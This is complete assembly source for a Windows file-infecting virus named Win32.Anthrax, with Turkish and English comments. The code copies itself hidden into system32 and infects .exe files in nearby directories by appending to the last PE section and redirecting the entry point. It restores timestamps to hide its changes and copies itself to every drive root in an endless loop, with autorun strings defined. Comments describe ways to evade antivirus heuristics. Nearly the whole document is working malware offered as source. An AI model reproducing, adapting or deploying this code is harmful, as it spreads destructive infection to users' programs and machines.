Win32.Anthrax
Iac
.586 .model flat,stdcall option casemap:none ;this code cannot be used for other subjects except virus and security researches! ;written by IAC - infect and cure ;credits go to izee (for his very help), lord julus, billy belcebu and wargame .code vir_start: pushad pushfd call delta delta: pop ebp sub ebp,offset delta ;now ebp points to delta label mov eax,dword ptr [ebp + offset return_to_host + 3h] mov dword ptr [ebp + offset where_to_go],eax ; save host ip for exiting , it wil be changed during "infection" mov eax,offset vir_end sub eax,offset vir_start mov dword ptr [ebp + offset vir_size],eax mov esi,dword ptr [esp + 24h] ; size of pushad pushfd -> esi points to return point of our prog in k32 call get_kernel_image_base call find_main_apis call find_extra_apis ;let start the job call infect mov eax,offset GMK add eax,ebp push 0 push eax push eax push 0 call [ebp + AMessageBoxA] jmp exit_ ;-> jump over functions and definitions ;###############################FUNCTIONS and DEFINITIONS PART ################################## ;### DEFINITIONS ### hello db "Rahat Uyu Üstad!!! Karanlık gecelerde yazdıkların",13,10,"bir gün bu vatanda yeni bir güneşi doğuracaktır!",13,10,"Tevfik FİKRET",0 GMK db "Sevgili Kardeşim : Bu gün Türkiye için ne yaptın?",0 where_to_go dd 0 vir_size dd 0 ;### /DEFINITIONS ### ;### FUNCTIONS ### ;---------------------------------------------------------------------------------------------------------------------- infect: jmp infect_ ; just for var definition exe_str db 0,0,0,0,0,0 ; i used NOD32 -> *.exe is enough for heuristics to think this file as viri!! ; thats why we will dynamically fill it and voilaaa -> HEURISTICS becomes FUCKISTICS!!! I tested it search_handle dd 0 MAX_PATH equ 260 ;taken from windows.inc ; thnx hutch :) FILETIME struct ;taken from windows.inc dwLowDateTime dword 0 dwHighDateTime dword 0 FILETIME ends WIN32_FIND_DATA struct ;taken from windows.inc dwFileAttributes dword 0 ftCreationTime FILETIME <> ftLastAccessTime FILETIME <> ftLastWriteTime FILETIME <> nFileSizeHigh dword 0 nFileSizeLow dword 0 dwReserved0 dword 0 dwReserved1 dword 0 cFileName byte MAX_PATH dup(0) ;offset 44d dont forget it!!! cAlternate byte 14 dup(0) WIN32_FIND_DATA ends find_data WIN32_FIND_DATA <> current_directory byte MAX_PATH dup(0) system_directory byte MAX_PATH dup(0) module_name byte 100d dup(0) system_directory_len dd 0 directory_count dd 0 upper_directory db "..",0 file_name_len dd 0 infect_: ;fill exe_str mov word ptr [ebp + offset exe_str],'.*' mov word ptr [ebp + offset exe_str + 2],'xe' mov byte ptr [ebp + offset exe_str + 4],'e' ;->>>>önce temizle çünkü önceki offspringler bu bufferları kulandı! mov eax,offset current_directory add eax,ebp ; temizlenecek bölümün başı!!! mov ecx,MAX_PATH add ecx,MAX_PATH add ecx,100d ;temizlenecek bölümün toplam boyutu! .while ecx > 0 mov byte ptr [eax],0 dec ecx inc eax .endw ;----------sistem dizini push MAX_PATH mov eax,offset system_directory add eax,ebp push eax call [ebp + offset AGetSystemDirectoryA] mov dword ptr [ebp + offset system_directory_len],eax ;------------- ;------------halihazırdaki dizin ->>>>önce temizle çünkü önceki offspringler bu bufferı kulandı! mov eax,offset current_directory add eax,ebp push eax push MAX_PATH call [ebp + offset AGetCurrentDirectoryA] ;------------- ;kendimizi system32 klasörüne kopyalayalım!!! Haydi bakam:) başla!!!! push 0 ; NULL to get our self handle call [ebp + offset AGetModuleHandleA] mov ebx,eax push 100d mov eax,offset module_name add eax,ebp push eax push ebx call [ebp + offset AGetModuleFileNameA] mov ebx,eax ;how many chars are copied to buffer!? ;-----------copy ourselves to system32 folder!!! ;-----lets create the new file name! ;system32 folder + our file name! mov eax,offset module_name add eax,ebp ; now eax points to our self names beginning add eax,ebx ; now eax points to our self names ENDING!!! xor ebx,ebx ;ismimizin uzunlugunu tutacak @@: dec eax inc ebx cmp byte ptr[eax],'\' je exit_slash_loop loop @B exit_slash_loop: ;şu anda eax \AAAAA.EXE 'ye işaret ediyor! mov dword ptr [ebp + offset file_name_len],ebx mov ebx,offset system_directory add ebx,ebp add ebx,dword ptr [ebp + offset system_directory_len] ; ebx points to system_directory strings ending!!! push esi; push edi; mov ecx,dword ptr [ebp + offset file_name_len] mov esi,eax mov edi,ebx rep movsb ;after this op, system_directory variable will be our new file name to copy ourself pop edi; pop esi; push 0 mov eax,offset system_directory add eax,ebp push eax mov eax,offset module_name ;our file name + path add eax,ebp push eax call [ebp + offset ACopyFileA] ;now we are in system32 folder:):) ha haaaaaaaaa ;/////////////////////////////// ARMOUR OURSELF ********************************************** mov eax,01h or eax,02h or eax,04h ;hidden system readonly! FUCK THE SYSTEM! push eax mov eax,offset system_directory ;lets hide our new file and ARMOR OUR NEW CHILD add eax,ebp push eax call [ebp + offset ASetFileAttributesA] ;-------------------------------------------- xor ebx,ebx ;reset ebx for directory count directory_loop: mov eax,offset find_data add eax,ebp push eax mov eax,offset exe_str add eax,ebp push eax call [ebp + offset AFindFirstFileA] mov dword ptr [ebp + offset search_handle],eax cmp eax,-1 ; INVALID_HANDLE_VALUE je exit_infection ;so we have a file_name in find_data call infect_file find_another: mov eax,offset find_data add eax,ebp push eax push dword ptr [ebp + offset search_handle] call [ebp + offset AFindNextFileA] cmp eax,0h je exit_infection call infect_file jmp find_another exit_infection: ; burada eğer dosya bulunamadıysa dizin değiştirmemiz gerekiyor! mov ebx,dword ptr [ebp + offset directory_count] cmp ebx,03d ja exit_all mov eax,offset upper_directory add eax,ebp push eax call [ebp + offset ASetCurrentDirectoryA] mov ebx,dword ptr [ebp + offset directory_count] inc ebx mov dword ptr [ebp + offset directory_count],ebx jmp directory_loop exit_all: xor ebx,ebx mov dword ptr [ebp + offset directory_count],ebx ;reset counter coz if we dont, counter will be copied to the victim like its present value!!! NE APTALIM YA!!! ret ;---------------------------------------------------------------------------------------------------------------------- infect_file: ;heart of W32.Gokturk.A :):):):):) jmp infect_file_ ; just for var definition ex_file_attributes dd 0 ex_file_creation_time FILETIME <> ex_file_last_access_time FILETIME <> ex_file_last_write_time FILETIME <> file_handle dd 0 file_mapping dd 0 map_of_file dd 0 file_size dd 0 size_of_memory dd 0 old_ip dd 0 image_base dd 0 file_align dd 0 raw_data_size dd 0 code_section dd 0 last_section dd 0 infect_file_: ;get file attributes mov eax,offset find_data add eax,ebp add eax,44d push eax call [ebp + offset AGetFileAttributesA] mov dword ptr [ebp + offset ex_file_attributes],eax cmp eax,0FFFFFFFFh je exit_infecting_a_file ;continue infection ;wipe attributes push 80h mov eax,offset find_data add eax,ebp add eax,44d push eax call [ebp + offset ASetFileAttributesA] cmp eax,0h je exit_infecting_a_file ;-------------------------------------- file is wiped ----------------------------- ;lets open it push 0 push 0 push 3 push 0 push 1 push 80000000h or 40000000h mov eax,offset find_data add eax,ebp add eax,44d push eax call [ebp+offset ACreateFileA] mov dword ptr [ebp + offset file_handle],eax cmp eax,-1 je exit_infecting_a_file ;get c,e,d times mov eax,offset ex_file_last_write_time add eax,ebp push eax mov eax,offset ex_file_last_access_time add eax,ebp push eax mov eax,offset ex_file_creation_time add eax,ebp push eax mov eax,offset file_handle add eax,ebp push eax call [ebp + offset AGetFileTime] ;map file for fetching file alignment push 0 push 0 push 0 push 4 push 0 push dword ptr [ebp + offset file_handle] call [ebp + offset ACreateFileMappingA] mov dword ptr [ebp + offset file_mapping], eax cmp eax, 0 je exit_infecting_a_file ;get file size push 0 push dword ptr [ebp + offset file_handle] call [ebp + offset AGetFileSize] mov dword ptr [ebp + offset file_size],eax cmp eax,0 je exit_infecting_a_file ;map file into memory - 1st time we ll close it in a second! push 0 push 0 push 0 push 2 push dword ptr [ebp + offset file_mapping] call [ebp + offset AMapViewOfFile] mov dword ptr [ebp + offset map_of_file],eax cmp eax,0 je exit_infecting_a_file mov esi,dword ptr [ebp + offset map_of_file] ;esi points to memory of the mapped file ;get file align mov eax,esi add eax,03ch add esi,dword ptr [eax] mov eax,dword ptr [eax] ; file alignment mov ebx,dword ptr [ebp + offset file_size] add ebx,dword ptr [ebp + offset vir_size] add ebx,1000h ;extra space ;align it! mov esi,0 xor edx,edx @@: add edx,eax ; add file alignment cmp edx,ebx ; aligned size <? total size jb @B ;now store aligned value for mapping mov dword ptr [ebp + offset size_of_memory],edx push dword ptr [ebp + offset map_of_file] call [ebp + offset AUnmapViewOfFile] push dword ptr [ebp + offset file_mapping] call [ebp + offset ACloseHandle] ;create file mapping again push 0 push dword ptr [ebp + offset size_of_memory] ;file size + vir size + 1000h extra space + padded bytes push 0 push 4 push 0 push dword ptr [ebp + offset file_handle] call [ebp + offset ACreateFileMappingA] mov dword ptr [ebp + offset file_mapping], eax cmp eax, 0 je exit_infecting_a_file ;map file into memory push dword ptr [ebp + offset size_of_memory] push 0 push 0 push 2 push dword ptr [ebp + offset file_mapping] call [ebp + offset AMapViewOfFile] mov dword ptr [ebp + offset map_of_file],eax cmp eax,0 je exit_infecting_a_file mov esi,dword ptr [ebp + offset map_of_file] ;esi points to memory of the mapped file mov ax,'ZM' cmp word ptr [esi],ax ;FUCK AV HEURISTICS!!! jne exit_infecting_a_file mov eax,esi add eax,30h add eax,8h cmp word ptr [eax],'90' ;test if already infected jne continue jmp exit_infecting_a_file continue: mov word ptr [eax],'90' ; mark file add esi,dword ptr [esi + 3Ch] ;esi = PE header mov ax,'EP' cmp word ptr [esi],ax ;FUCK AV HEURISTICS!!! jne exit_infecting_a_file mov eax, dword ptr [esi + 40d] ; get old entry point mov dword ptr [ebp + offset old_ip],eax mov ebx, dword ptr [esi + 52d]; image base mov dword ptr [ebp + offset image_base],ebx add eax,ebx ; VA of the mov dword ptr [ebp + offset return_to_host + 3h],eax ;lets set where will we go after the orgasm! :):):) ;behave as if nothing happened:):) I didnt do it :) ok,enough:) ;watch out : return to host dword will change during infection ;thats why every copy of viri first stores that dword after ;delta handle , and again restores it before exit! mov eax,dword ptr [esi + 3ch] ;file_align of victim mov dword ptr [ebp + offset file_align],eax movzx eax,word ptr [esi + 6h] ;num of sections dec eax ;last section for multiplying... mov edx,20h ;ask me : why adding 28 at one hand? answer: i tested it with NOD32 Heuristics,it fails if you do it ;like this... : don't believe it? TRY IT YOURSELF!!! also Kaspersky :) 1 minute before installed it! ;FUCK AV HEURISTICS!!! add edx,8h mul edx ; eax = offset of last sections beginning from the beginning of section table movzx ebx,word ptr [esi + 20d] ;size of optional header ;Pe header offset + 22 (IMAGE_FILE_HEADER) + size of optional header + (num of sections-- ) * 28h(size of a section header) = ;=last sections beginning push esi ;store it for future : actually for 10 or more lines later:) mov ecx,esi add ecx,20d add ecx,4d ;FUCK AV HEURISTICS!!! add ecx,ebx add ecx,eax mov esi,ecx ;now esi points to last sections beginning!!! section_header mov dword ptr [ebp + offset last_section],esi mov ebx,esi sub ebx,eax ; offset of the first sections begining in the section table mov dword ptr [ebp + offset code_section],ebx mov eax,esi add eax,20h add eax,4h ;FUCK AV HEURISTICS!!! or dword ptr [eax],0A0000020h ;r w e access mov ebx,dword ptr [esi + 10h] ; SizeOfRawData of section mov dword ptr [ebp + offset raw_data_size],ebx mov eax,dword ptr [esi + 14h] ;PointerToRawData of section (file offset from the beginning) add eax,ebx ; file offset of the last sections end! but must be added to victim_memory add eax,dword ptr [ebp + offset map_of_file] ; its the memory offset of the file where we will write our code! :):):) ; coming to the end dude! ;) just wait a minute! mov edi,eax ; store it for using rep movsb mov eax,dword ptr [ebp + offset file_align] mov ebx,dword ptr [ebp + offset raw_data_size] add ebx,dword ptr [ebp + offset vir_size] ; EBX = last section's Size of raw data + VirusSize xor edx,edx @@: add edx,eax ; multiply it! cmp edx,ebx jbe @B mov eax,esi add eax,10h;FUCK AV HEURISTICS!!! esi + 10h mov dword ptr [eax],edx ; new size of raw data aligned to file alignment sub eax,08h;FUCK AV HEURISTICS!!! = esi + 08h mov dword ptr [eax],edx ; new Virtual size add eax,08h mov eax,dword ptr [eax] ; EAX = New SizeOfRawData mov ecx,esi add ecx,0Ch;FUCK AV HEURISTICS!!! = esi + 0Ch add eax,dword ptr [ecx] ; EAX = EAX+VirtualAddress ;-------CHANGE EIP OF THE VICTIM FILE TO VIRI'S EIP------------------------------ ecx = our virus's RVA!!! mov ecx,dword ptr [esi + 12d] ; RVA of the last section add ecx,dword ptr [ebp + offset raw_data_size] ; so it changed to our virus's RVA :) pop esi mov eax,esi add eax,20h add eax,8h mov dword ptr [eax] , ecx ;change victims EIP to our viri RVA!!! ;sliding technique!!! my very first technique! ;-------------------------------------------------------------------------------- mov ecx,dword ptr [ebp + offset raw_data_size] sub edx,ecx mov ebx,dword ptr [esi + 56d] ; section alignment mov eax,dword ptr [esi+50h] ;size of image add eax,edx ; sizeofimage + aligned size xor ecx,ecx @@: add ecx,ebx cmp ecx,eax jb @B mov dword ptr [esi+50h],ecx ; new size of image mov esi,offset vir_start add esi,ebp mov ecx,dword ptr [ebp + offset vir_size] rep movsb push 0 mov eax,offset hello add eax,ebp push eax push eax push 0 call [ebp + offset AMessageBoxA] exit_infecting_a_file: ;restore times mov eax,offset ex_file_last_write_time add eax,ebp push eax mov eax,offset ex_file_last_access_time add eax,ebp push eax mov eax,offset ex_file_creation_time add eax,ebp push eax mov eax,offset file_handle add eax,ebp push eax call [ebp + offset ASetFileTime] ;restore file attributes mov eax,dword ptr [ebp + offset ex_file_attributes] push eax mov eax,offset find_data add eax,ebp add eax,44d push eax call [ebp + offset ASetFileAttributesA] cmp eax,0h je bye_ ;close file and unmap cmp dword ptr [ebp + offset file_handle],-1 je bye_ push dword ptr [ebp + offset file_handle] call [ebp + offset ACloseHandle] cmp dword ptr [ebp + offset map_of_file],0h je bye_ push dword ptr [ebp + offset map_of_file] call [ebp + offset AUnmapViewOfFile] bye_: ret ;---------------------------------------------------------------------------------------------------------------------- find_extra_apis: jmp load_ ; just for var definition user32 db "user32.dll",0 SMessageBoxA db "MessageBoxA",0 AMessageBoxA dd 0 load_: mov eax,offset user32 add eax,ebp push eax call [ebp + offset AGetModuleHandleA] cmp eax,0h jne load_message_box ; used it in case the victim doesnt loaded user32.dll ; in that case we will have to load user32.dll to memory mov eax,offset user32 add eax,ebp push eax call [ebp + offset ALoadLibraryA] cmp eax,0 je exit_ load_message_box: mov ebx,offset SMessageBoxA add ebx,ebp push ebx push eax ; user32.dll call [ebp + offset AGetProcAddress] cmp eax,0h je exit_ mov dword ptr [ebp + offset AMessageBoxA],eax ret ;---------------------------------------------------------------------------------------------------------------------- get_kernel_image_base: ;assumes esi -> a memory point between the address space of kernel ;returns kernel_base_address in eax if kernel is found, else eax=0 -> not found mov ecx,esi ; kernel address jmp start_getting ; just for var definition k32 dd 0 start_getting: cmp dword ptr [esi],'NREK' ; i dumped it , its written like this : win xp sp2 je found_kernel_str dec esi loop start_getting mov eax,0 ret found_kernel_str: cmp word ptr [esi],'ZM' je return_ dec esi loop found_kernel_str mov eax,0 ret return_: mov dword ptr [ebp + offset k32],esi cmp esi,0 je exit_ ret ;---------------------------------------------------------------------------------------------------------------------- find_main_apis: ;assumes esi = imagebase of Kernel32 jmp get_kernel_pe_header ; just for var definition k32_export_table dd 0 ;VA k32_name_table dd 0 ;VA k32_name_counter dd 0 next_api_string dd 0 current_api_string dd 0 str_size dd 0 api_address_counter dd 0 api_strings: SExitProcess db "ExitProcess",0 SGetProcAddress db "GetProcAddress",0 SGetModuleHandleA db "GetModuleHandleA",0 SGetModuleFileNameA db "GetModuleFileNameA",0 SLoadLibraryA db "LoadLibraryA",0 SGetWindowsDirectoryA db "GetWindowsDirectoryA",0 SGetSystemDirectoryA db "GetSystemDirectoryA",0 SGetCurrentDirectoryA db "GetCurrentDirectoryA",0 SSetCurrentDirectoryA db "SetCurrentDirectoryA",0 SCreateFileA db "CreateFileA",0 SCopyFileA db "CopyFileA",0 SCloseHandle db "CloseHandle",0 SCreateFileMappingA db "CreateFileMappingA",0 SMapViewOfFile db "MapViewOfFile",0 SUnmapViewOfFile db "UnmapViewOfFile",0 SFindFirstFileA db "FindFirstFileA",0 SFindNextFileA db "FindNextFileA",0 SSetFileAttributesA db "SetFileAttributesA",0 SGetFileAttributesA db "GetFileAttributesA",0 SGetFileTime db "GetFileTime",0 SSetFileTime db "SetFileTime",0 SGetFileSize db "GetFileSize",0 SSleep db "Sleep",0 SCreateMutexA db "CreateMutexA",0 SOpenMutexA db "OpenMutexA",0 SGetLogicalDriveStringsA db "GetLogicalDriveStringsA",0 SGetLogicalDrives db "GetLogicalDrives",0 SGetDriveTypeA db "GetDriveTypeA",0 dd 00000090h ;not a sign simply NOP :) why? dont leave any sign for heuristics:) again heuristics? YES! ALWAYS... api_addresses: AExitProcess dd 0 AGetProcAddress dd 0 AGetModuleHandleA dd 0 AGetModuleFileNameA dd 0 ALoadLibraryA dd 0 AGetWindowsDirectoryA dd 0 AGetSystemDirectoryA dd 0 AGetCurrentDirectoryA dd 0 ASetCurrentDirectoryA dd 0 ACreateFileA dd 0 ACopyFileA dd 0 ACloseHandle dd 0 ACreateFileMappingA dd 0 AMapViewOfFile dd 0 AUnmapViewOfFile dd 0 AFindFirstFileA dd 0 AFindNextFileA dd 0 ASetFileAttributesA dd 0 AGetFileAttributesA dd 0 AGetFileTime dd 0 ASetFileTime dd 0 AGetFileSize dd 0 ASleep dd 0 ACreateMutexA dd 0 AOpenMutexA dd 0 AGetLogicalDriveStringsA dd 0 AGetLogicalDrives dd 0 AGetDriveTypeA dd 0 get_kernel_pe_header: mov esi,dword ptr [ebp + offset k32] add esi,dword ptr [esi + 3Ch] ; PE header VA mov esi,dword ptr [esi + 78h] ; export table RVA add esi,dword ptr [ebp + offset k32] ;VA mov dword ptr [ebp + offset k32_export_table],esi add esi,32d ; address of names RVA in export table mov esi,dword ptr [esi] add esi, dword ptr [ebp + offset k32] ; starting of dword array of function names in k32 mov dword ptr [ebp + offset k32_name_table],esi ;start next_api_string mov dword ptr [ebp + offset next_api_string],offset api_strings add dword ptr [ebp + offset next_api_string],ebp api_loop: mov esi,dword ptr [ebp + offset next_api_string] cmp dword ptr [esi],00000090h je all_found ;get a string from api_strings label mov dword ptr [ebp + offset k32_name_counter],0h ;reset name counter mov esi,dword ptr [ebp + offset next_api_string] xor ecx,ecx mov dword ptr [ebp + offset current_api_string],esi @@: cmp byte ptr [esi],0h je @F inc ecx inc esi jmp @B @@: mov dword ptr [ebp + offset str_size],ecx inc esi mov dword ptr [ebp + offset next_api_string],esi ; next str get_name_from_k32: ;get a name and normalize it mov eax,dword ptr [ebp + offset k32_name_counter] mov ebx,4h mul ebx add eax,dword ptr [ebp + offset k32_name_table] mov eax,dword ptr [eax] add eax,dword ptr [ebp + offset k32] ; now we have an api name add dword ptr [ebp + offset k32_name_counter],1h ; increment for next compare_two_names: mov ecx,dword ptr [ebp + offset str_size] mov edi,eax ; api name in k32 name table mov esi,dword ptr [ebp + offset current_api_string] @@:cmpsb jne @F loop @B ;we have found it so calculate ordinal jmp calc_ordinal @@: ;not the same api jmp get_name_from_k32 calc_ordinal: sub dword ptr [ebp + offset k32_name_counter],1h ; current names ordinal pos mov ebx,2 mov eax,dword ptr [ebp + offset k32_name_counter] mul ebx mov esi,dword ptr [ebp + offset k32_export_table] add esi,36d mov esi,dword ptr [esi] add esi,dword ptr [ebp + offset k32] ; ordinal table add esi,eax ; ordinal of our api movzx eax,word ptr [esi] ; ordinal of our api mov esi,dword ptr [ebp + offset k32_export_table] add esi,28d mov esi,dword ptr [esi] add esi,dword ptr [ebp + offset k32] ; address table mov ebx,4h mul ebx add esi,eax mov esi,dword ptr [esi] add esi,dword ptr [ebp + offset k32] mov eax,dword ptr [ebp + offset api_address_counter] mov dword ptr [ebp + offset api_addresses + eax],esi add dword ptr [ebp + offset api_address_counter],4h jmp api_loop all_found: mov dword ptr [ebp + offset api_address_counter],0 ;fuck u fucking counter!!! i have been working to solve this ;shit problem since 10 PM and its 04:02 AM now!!! So my dear reader, be urself and dont forget to ;reset everthing before writing ur viri to a new file!!! Example, think if we didnt reset it,so ;we wrote ourself to a victim, what happens? counter is at the end! so it will try to write beyond the ;api address boundaries!!! yaaaa:):):) ret ;---------------------------------------------------------------------------------------------------------------------- ;### /FUNCTIONS ### exit_: jmp exit__ ;---------------------------------------INF LOOP FOR MUTEX----------------------------------------------------- ;bu bölüme ister ana programa dönüş, istersek de bir while döngüsü koyabiliriz!!! Fakat ;şüphe çekmemek için buraya konacak bir MUTEX ile programın en az bir kopyasının çalışmasını sağlayabiliriz!!! ; mutex_name db "AnthraxA",0 drive_list byte 50d dup(0) drive_list_counter dd 0 a_drv db "A:",0 b_drv db "B:",0 c_drv db "C:",0 d_drv db "D:",0 e_drv db "E:",0 f_drv db "F:",0 g_drv db "G:",0 h_drv db "H:",0 i_drv db "I:",0 j_drv db "J:",0 our_name byte 150d dup(0) new_file db 0,0,0,"sis.exe",0 auto_run db "[autorun]",13,10,"shellexecute=sis.exe",0 auto_fname db "autorun.inf",0 exit__: ;lets open the mutex mov eax,offset mutex_name add eax,ebp push eax push 1 push 1F0001h call [ebp + offset AOpenMutexA] cmp eax,0 jne break_infite ;-----------------> If a mutex called Anthrax exists, then our prog will run! Else, it will ;enter into an infinite loop! Böylece farklı isimdeki şüpheli dosyaları engellediğimiz gibi mutlaka bir örneğin de ;çalışmasını sağlamış olacağız!!! ;lets create the mutex mov eax,offset mutex_name add eax,ebp push eax push 1 push 0 call [ebp + offset ACreateMutexA] ;-------------- infinite_loop: mov eax,offset drive_list add eax,ebp push eax push 50d call [ebp + offset AGetLogicalDriveStringsA] xor ecx,ecx .while ecx < 50d mov ecx,dword ptr [ebp + offset drive_list_counter] mov ebx,offset drive_list add ebx,ebp add ebx,ecx push ebx call [ebp + offset AGetDriveTypeA] ;drive type ı aldık!!!! şimdi kopyalayabiliriz!!!! cmp eax,0 je go_on__ ;we can start copying ourself!!! mov ecx,dword ptr [ebp + offset drive_list_counter] mov ebx,offset drive_list add ebx,ebp add ebx,ecx ;şu anda ebx harddisk'in adını tutuyor!!! mov ecx,3d mov esi,ebx mov edi,offset new_file add edi,ebp rep movsb ;now we have a name:) in new file name push 0 mov eax,offset new_file add eax,ebp push eax mov eax,offset system_directory ;our file name + path add eax,ebp push eax call [ebp + offset ACopyFileA] ;now we are in system32 the flash disk root folder:):) ha haaaaaaaaa go_on__: ;drive couldnt find!!! mov ecx,dword ptr [ebp + offset drive_list_counter] add ecx,4d mov dword ptr [ebp + offset drive_list_counter],ecx .endw mov dword ptr [ebp + offset drive_list_counter],0h jmp infinite_loop ;------------------------------------------------------------------------------------------------------------- break_infite: mov eax,dword ptr [ebp + offset where_to_go] mov dword ptr [ebp + offset return_to_host + 3h],eax ; popad + popfd + 68h = 3 bytes cmp ebp,0h jne return_to_host push 0 call [ebp + offset AExitProcess] return_to_host: popfd popad db 68h,0,0,0,0 ret vir_end: end vir_start